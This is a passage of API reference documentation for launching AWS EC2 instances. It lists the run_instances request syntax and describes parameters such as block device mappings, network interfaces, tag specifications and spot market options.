5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + Ipv6AddressCount=123, + Ipv6Addresses=[ + { + 'Ipv6Address': 'string' + }, + ], + KernelId='string', + KeyName='string', + MaxCount=123, + MinCount=123, + Monitoring={ + 'Enabled': True|False + }, + Placement={ + 'AvailabilityZone': 'string', + 'Affinity': 'string', + 'GroupName': 'string', + 'PartitionNumber': 123, + 'HostId': 'string', + 'Tenancy': 'default'|'dedicated'|'host', + 'SpreadDomain': 'string', + 'HostResourceGroupArn': 'string' + }, + RamdiskId='string', + SecurityGroupIds=[ + 'string', + ], + SecurityGroups=[ + 'string', + ], + UserData='string', + AdditionalInfo='string', + ClientToken='string', + DisableApiTermination=True|False, + DryRun=True|False, + EbsOptimized=True|False, + IamInstanceProfile={ + 'Arn': 'string', + 'Name': 'string' + }, + InstanceInitiatedShutdownBehavior='stop'|'terminate', + NetworkInterfaces=[ + { + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': [ + 'string', + ], + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + 'SecondaryPrivateIpAddressCount': 123, + 'SubnetId': 'string', + 'AssociateCarrierIpAddress': True|False, + 'InterfaceType': 'string', + 'NetworkCardIndex': 123 + }, + ], + PrivateIpAddress='string', + ElasticGpuSpecification=[ + { + 'Type': 'string' + }, + ], + ElasticInferenceAccelerators=[ + { + 'Type': 'string', + 'Count': 123 + }, + ], + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + LaunchTemplate={ + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + InstanceMarketOptions={ + 'MarketType': 'spot', + 'SpotOptions': { + 'MaxPrice': 'string', + 'SpotInstanceType': 'one-time'|'persistent', + 'BlockDurationMinutes': 123, + 'ValidUntil': datetime(2015, 1, 1), + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate' + } + }, + CreditSpecification={ + 'CpuCredits': 'string' + }, + CpuOptions={ + 'CoreCount': 123, + 'ThreadsPerCore': 123 + }, + CapacityReservationSpecification={ + 'CapacityReservationPreference': 'open'|'none', + 'CapacityReservationTarget': { + 'CapacityReservationId': 'string', + 'CapacityReservationResourceGroupArn': 'string' + } + }, + HibernationOptions={ + 'Configured': True|False + }, + LicenseSpecifications=[ + { + 'LicenseConfigurationArn': 'string' + }, + ], + MetadataOptions={ + 'HttpTokens': 'optional'|'required', + 'HttpPutResponseHopLimit': 123, + 'HttpEndpoint': 'disabled'|'enabled' + }, + EnclaveOptions={ + 'Enabled': True|False + } +) + +Parameters + +* **BlockDeviceMappings** (_list_) -- + + The block device mapping entries. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + * **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + * **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + * gp3 : 3,000-16,000 IOPS + * io1 : 100-64,000 IOPS + * io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + * gp2 and gp3 :1-16,384 + * io1 and io2 : 4-16,384 + * st1 : 500-16,384 + * sc1 : 500-16,384 + * standard : 1-1,024 + * **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + * **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + * **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + * **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + * **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + +* **ImageId** (_string_) -- The ID of the AMI. An AMI ID is required to launch an instance and must be specified here or in a launch template. +* **InstanceType** (_string_) -- + + The instance type. For more information, see [Instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: m1.small + +* **Ipv6AddressCount** (_integer_) -- + + [EC2-VPC] The number of IPv6 addresses to associate with the primary network interface. Amazon EC2 chooses the IPv6 addresses from the range of your subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + You cannot specify this option and the network interfaces option in the same request. + +* **Ipv6Addresses** (_list_) -- + + [EC2-VPC] The IPv6 addresses from the range of the subnet to associate with the primary network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + You cannot specify this option and the network interfaces option in the same request. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + +* **KernelId** (_string_) -- + + The ID of the kernel. + + Warning + + We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedkernels.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +* **KeyName** (_string_) -- + + The name of the key pair. You can create a key pair using [CreateKeyPair](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateKeyPair.html) or [ImportKeyPair](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportKeyPair.html) . + + Warning + + If you do not specify a key pair, you can't connect to the instance unless you choose an AMI that is configured to allow users another way to log in. + +* **MaxCount** (_integer_) -- + + **[REQUIRED]** + + The maximum number of instances to launch. If you specify more instances than Amazon EC2 can launch in the target Availability Zone, Amazon EC2 launches the largest possible number of instances above MinCount . + + Constraints: Between 1 and the maximum number you're allowed for the specified instance type. For more information about the default limits, and how to request an increase, see [How many instances can I run in Amazon EC2](https://aws.amazon.com/ec2/faqs/#How_many_instances_can_I_run_in_Amazon_EC2) in the Amazon EC2 FAQ. + +* **MinCount** (_integer_) -- + + **[REQUIRED]** + + The minimum number of instances to launch. If you specify a minimum that is more instances than Amazon EC2 can launch in the target Availability Zone, Amazon EC2 launches no instances. + + Constraints: Between 1 and the maximum number you're allowed for the specified instance type. For more information about the default limits, and how to request an increase, see [How many instances can I run in Amazon EC2](https://aws.amazon.com/ec2/faqs/#How_many_instances_can_I_run_in_Amazon_EC2) in the Amazon EC2 General FAQ. + +* **Monitoring** (_dict_) -- + + Specifies whether detailed monitoring is enabled for the instance. + + * **Enabled** _(boolean) --_ **[REQUIRED]** + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + +* **Placement** (_dict_) -- + + The placement for the instance. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + If not specified, an Availability Zone will be automatically chosen for you based on the load balancing criteria for the Region. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Affinity** _(string) --_ + + The affinity setting for the instance on the Dedicated Host. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **GroupName** _(string) --_ + + The name of the placement group the instance is in. + + * **PartitionNumber** _(integer) --_ + + The number of the partition the instance is in. Valid only if the placement group strategy is set to partition . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostId** _(string) --_ + + The ID of the Dedicated Host on which the instance resides. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **SpreadDomain** _(string) --_ + + Reserved for future use. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. If you specify a host resource group ARN, omit the **Tenancy** parameter or set it to host . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + +* **RamdiskId** (_string_) -- + + The ID of the RAM disk to select. Some kernels require additional drivers at launch. Check the kernel requirements for information about whether you need to specify a RAM disk. To find kernel requirements, go to the AWS Resource Center and search for the kernel ID. + + Warning + + We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedkernels.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +* **SecurityGroupIds** (_list_) -- + + The IDs of the security groups. You can create a security group using [CreateSecurityGroup](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateSecurityGroup.html) . + + If you specify a network interface, you must specify any security groups as part of the network interface. + + * _(string) --_ +* **SecurityGroups** (_list_) -- + + [EC2-Classic, default VPC] The names of the security groups. For a nondefault VPC, you must use security group IDs instead. + + If you specify a network interface, you must specify any security groups as part of the network interface. + + Default: Amazon EC2 uses the default security group. + + * _(string) --_ +* **UserData** (_string_) -- + + The user data to make available to the instance. For more information, see [Running commands on your Linux instance at launch](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html) (Linux) and [Adding User Data](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2-instance-metadata.html#instancedata-add-user-data) (Windows). If you are using a command line tool, base64-encoding is performed for you, and you can load the text from a file. Otherwise, you must provide base64-encoded text. User data is limited to 16 KB. + + > **This value will be base64 encoded automatically. Do not base64 encode this value prior to performing the operation.** + +* **AdditionalInfo** (_string_) -- Reserved. +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier you provide to ensure the idempotency of the request. If you do not specify a client token, a randomly generated token is used for the request to ensure idempotency. + + For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + Constraints: Maximum 64 ASCII characters + + This field is autopopulated if not provided. + +* **DisableApiTermination** (_boolean_) -- + + If you set this parameter to true , you can't terminate the instance using the Amazon EC2 console, CLI, or API; otherwise, you can. To change this attribute after launch, use [ModifyInstanceAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyInstanceAttribute.html) . Alternatively, if you set InstanceInitiatedShutdownBehavior to terminate , you can terminate the instance by running the shutdown command from the instance. + + Default: false + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **EbsOptimized** (_boolean_) -- + + Indicates whether the instance is optimized for Amazon EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal Amazon EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS-optimized instance. + + Default: false + +* **IamInstanceProfile** (_dict_) -- + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Name** _(string) --_ + + The name of the instance profile. + +* **InstanceInitiatedShutdownBehavior** (_string_) -- + + Indicates whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + Default: stop + +* **NetworkInterfaces** (_list_) -- + + The network interfaces to associate with the instance. If you specify a network interface, you must specify any security groups and subnets as part of the network interface. + + * _(dict) --_ + + Describes a network interface. + + * **AssociatePublicIpAddress** _(boolean) --_ + + Indicates whether to assign a public IPv4 address to an instance you launch in a VPC. The public IP address can only be assigned to a network interface for eth0, and can only be assigned to a new network interface, not an existing one. You cannot specify more than one network interface in the request. If launching into a default subnet, the default value is true . + + * **DeleteOnTermination** _(boolean) --_ + + If set to true , the interface is deleted when the instance is terminated. You can specify true only if creating a new network interface when launching an instance. + + * **Description** _(string) --_ + + The description of the network interface. Applies only if creating a network interface when launching an instance. + + * **DeviceIndex** _(integer) --_ + + The position of the network interface in the attachment order. A primary network interface has a device index of 0. + + If you specify a network interface when launching an instance, you must specify the device index. + + * **Groups** _(list) --_ + + The IDs of the security groups for the network interface. Applies only if creating a network interface when launching an instance. + + * _(string) --_ + * **Ipv6AddressCount** _(integer) --_ + + A number of IPv6 addresses to assign to the network interface. Amazon EC2 chooses the IPv6 addresses from the range of the subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + * **Ipv6Addresses** _(list) --_ + + One or more IPv6 addresses to assign to the network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + If you are creating a Spot Fleet, omit this parameter because you can’t specify a network interface ID in a launch specification. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 address of the network interface. Applies only if creating a network interface when launching an instance. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses to assign to the network interface. Only one private IPv4 address can be designated as primary. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + * **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + + * **SecondaryPrivateIpAddressCount** _(integer) --_ + + The number of secondary private IPv4 addresses. You can't specify this option and specify more than one private IP address using the private IP addresses option. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **SubnetId** _(string) --_ + + The ID of the subnet associated with the network interface. Applies only if creating a network interface when launching an instance. + + * **AssociateCarrierIpAddress** _(boolean) --_ + + Indicates whether to assign a carrier IP address to the network interface. + + You can only assign a carrier IP address to a network interface that is in a subnet in a Wavelength Zone. For more information about carrier IP addresses, see Carrier IP addresses in the AWS Wavelength Developer Guide. + + * **InterfaceType** _(string) --_ + + The type of network interface. + + To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + If you are not creating an EFA, specify interface or omit this parameter. + + Valid values: interface | efa + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + +* **PrivateIpAddress** (_string_) -- + + [EC2-VPC] The primary IPv4 address. You must specify a value from the IPv4 address range of the subnet. + + Only one private IP address can be designated as primary. You can't specify this option if you've specified the option to designate a private IP address as the primary IP address in a network interface specification. You cannot specify this option if you're launching more than one instance in the request. + + You cannot specify this option and the network interfaces option in the same request. + +* **ElasticGpuSpecification** (_list_) -- + + An elastic GPU to associate with the instance. An Elastic GPU is a GPU resource that you can attach to your Windows instance to accelerate the graphics performance of your applications. For more information, see [Amazon EC2 Elastic GPUs](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/elastic-graphics.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * _(dict) --_ + + A specification for an Elastic Graphics accelerator. + + * **Type** _(string) --_ **[REQUIRED]** + + The type of Elastic Graphics accelerator. For more information about the values to specify for Type , see [Elastic Graphics Basics](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/elastic-graphics.html#elastic-graphics-basics) , specifically the Elastic Graphics accelerator column, in the _Amazon Elastic Compute Cloud User Guide for Windows Instances_ . + +* **ElasticInferenceAccelerators** (_list_) -- + + An elastic inference accelerator to associate with the instance. Elastic inference accelerators are a resource you can attach to your Amazon EC2 instances to accelerate your Deep Learning (DL) inference workloads. + + You cannot specify accelerators from different generations in the same request. + + * _(dict) --_ + + Describes an elastic inference accelerator. + + * **Type** _(string) --_ **[REQUIRED]** + + The type of elastic inference accelerator. The possible values are eia1.medium , eia1.large , eia1.xlarge , eia2.medium , eia2.large , and eia2.xlarge . + + * **Count** _(integer) --_ + + The number of elastic inference accelerators to attach to the instance. + + Default: 1 + +* **TagSpecifications** (_list_) -- + + The tags to apply to the resources during launch. You can only tag instances and volumes on launch. The specified tags are applied to all instances or volumes that are created during launch. To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1089)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1091)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **LaunchTemplate** (_dict_) -- + + The launch template to use to launch the instances. Any parameters that you specify in RunInstances override the same parameters in the launch template. You can specify either the name or ID of a launch template, but not both. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. + + * **Version** _(string) --_ + + The version number of the launch template. + + Default: The default version for the launch template. + +* **InstanceMarketOptions** (_dict_) -- + + The market (purchasing) option for the instances. + + For RunInstances , persistent Spot Instance requests are only supported when **InstanceInterruptionBehavior** is set to either hibernate or stop . + + * **MarketType** _(string) --_ + + The market type. + + * **SpotOptions** _(dict) --_ + + The options for Spot Instances. + + * **MaxPrice** _(string) --_ + + The maximum hourly price you're willing to pay for the Spot Instances. The default is the On-Demand price. + + * **SpotInstanceType** _(string) --_ + + The Spot Instance request type. For [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances) , persistent Spot Instance requests are only supported when **InstanceInterruptionBehavior** is set to either hibernate or stop . + + * **BlockDurationMinutes** _(integer) --_ + + The required duration for the Spot Instances (also known as Spot blocks), in minutes. This value must be a multiple of 60 (60, 120, 180, 240, 300, or 360). + + The duration period starts as soon as your Spot Instance receives its instance ID. At the end of the duration period, Amazon EC2 marks the Spot Instance for termination and provides a Spot Instance termination notice, which gives the instance a two-minute warning before it terminates. + + You can't specify an Availability Zone group or a launch group if you specify a duration. + + New accounts or accounts with no previous billing history with AWS are not eligible for Spot Instances with a defined duration (also known as Spot blocks). + + * **ValidUntil** _(datetime) --_ + + The end date of the request, in UTC format (_YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). Supported only for persistent requests. + + * For a persistent request, the request remains active until the ValidUntil date and time is reached. Otherwise, the request remains active until you cancel it. + * For a one-time request, ValidUntil is not supported. The request remains active until all instances launch or you cancel the request. + * **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. The default is terminate . + +* **CreditSpecification** (_dict_) -- + + The credit option for CPU usage of the burstable performance instance. Valid values are standard and unlimited . To change this attribute after launch, use [ModifyInstanceCreditSpecification](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyInstanceCreditSpecification.html) . For more information, see [Burstable performance instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/burstable-performance-instances.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: standard (T2 instances) or unlimited (T3/T3a instances) + + * **CpuCredits** _(string) --_ **[REQUIRED]** + + The credit option for 